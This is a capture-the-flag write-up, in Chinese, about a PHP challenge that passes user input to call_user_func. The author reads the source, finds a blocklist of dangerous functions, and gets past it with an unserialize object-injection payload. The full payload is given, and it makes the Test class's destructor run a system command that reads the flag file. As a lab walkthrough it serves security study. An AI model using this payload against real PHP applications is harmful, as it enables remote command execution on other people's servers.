点进题目之后就是天皇(bushi的图片,查看源码,程序设置了一个计时器,每5s提交一次表单:

    1. <form id=form1 name=form1 action="index.php" method=post>
    2. <input type=hidden id=func name=func value='date'>
    3. <input type=hidden id=p name=p value='Y-m-d h:i:s a'>

    从字段意思来看,后天调用func,p作为参数传入。
    尝试直接system执行命令,但是发现被过滤了
    image.png
    于是选择使用file_get_contents来读取index.php的内容:

    1. <?php
    2. $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    3. function gettime($func, $p) {
    4. $result = call_user_func($func, $p);
    5. $a= gettype($result);
    6. if ($a == "string") {
    7. return $result;
    8. } else {return "";}
    9. }
    10. class Test {
    11. var $p = "Y-m-d h:i:s a";
    12. var $func = "date";
    13. function __destruct() {
    14. if ($this->func != "") {
    15. echo gettime($this->func, $this->p);
    16. }
    17. }
    18. }
    19. $func = $_REQUEST["func"];
    20. $p = $_REQUEST["p"];
    21. if ($func != null) {
    22. $func = strtolower($func);
    23. if (!in_array($func,$disable_fun)) {
    24. echo gettime($func, $p);
    25. }else {
    26. die("Hacker...");
    27. }
    28. }
    29. ?>

    基本上逻辑和猜测的差不多,但是发现有一个类Test,而且注意到上面并没有过滤unserialize函数,并且类中的__destruct函数调用gettime时没有过滤,那么只需要调用unserialize函数,并且p传入构造好的序列化字符串,就可以成功getshell。
    payload:

    1. func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

    最后没想到的是flag藏在tmp下面,也没个提示。。。